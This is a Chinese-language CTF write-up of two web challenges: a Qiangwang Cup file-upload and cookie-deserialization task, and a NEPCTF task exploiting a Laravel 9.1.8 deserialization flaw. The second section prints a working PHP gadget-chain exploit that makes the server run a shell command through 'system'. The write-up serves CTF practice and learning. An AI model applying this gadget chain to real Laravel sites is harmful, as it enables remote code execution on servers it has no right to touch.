##2022强网杯复现

强网杯-强网先锋 rcefile

学一点是一点,又是努力尝试不做fw的一天……

考点

文件泄露、spl_autoload_register的可能性利用、文件上传、文件包含、反序列化

分析

扫描目录存在www.zip,存在源码泄露,访问/www.zip下载源码
查看源码中config.inc.php,发现对cookie做了反序列化,并存在spl_autoload_register()函数

image-20220930223510597

关于spl_autoload_register函数

image-20220930223522995

cookie的userfile就是上传文件加密过的文件名来构造序列化

步骤

上传jpg⽂件,bp抓包,把jpg后缀改成.inc,
上传文件内容为
然后发送,可以得到⽂件名为 axxxxxxxxxxxxxxxxxxxxxxxx.inc
注意:生成的文件名需要字母开头(是bp里面得到的文件名)
然后对文件名进行序列化,其中的axxxxxxx是文件名
<?php
class axxxxxxxxxxxxxxxxxxxxxxxx{
function __construct()
{
}
}
$p = new axxxxxxxxxxxxxxxxxxxxxxxx();
echo serialize($p);
在线运行得到序列化结果
然后访问http://ip:port/showfile.php,将cookie改为序列化结果然后发送即可得到flag

NEPCTF-Web Just Kidding

考点

文件泄露、Laravel9.1.8远程执行漏洞、反序列化

分析

扫目录发现存在/www.zip,访问然后下载源码进行代码审计(太菜了很多看不懂)

//App\Http\Controllers\HelloController.php
class HelloController extends Controller
{
public function hello(\Illuminate\Http\Request $request){
$h3 = base64_decode($request->input("h3"));
unserialize($h3);
return "Welcome Nepctf! GL&HF";
}
}

这个 php 文件中有一个反序列化的函数存在反序列化漏洞,看大佬的wp说可以使用Laravel9.1.8远程执行漏洞

步骤

构建poc链

//exp:
<?php
namespace Illuminate\Contracts\Queue{
interface ShouldQueue {}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "cat /flag";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}

查看web.php路由,找到hello可访问,接着在目录中找到,封装hello的函数,发现参数h3

构造payload:

url=id/hello?h3=pop

获取flag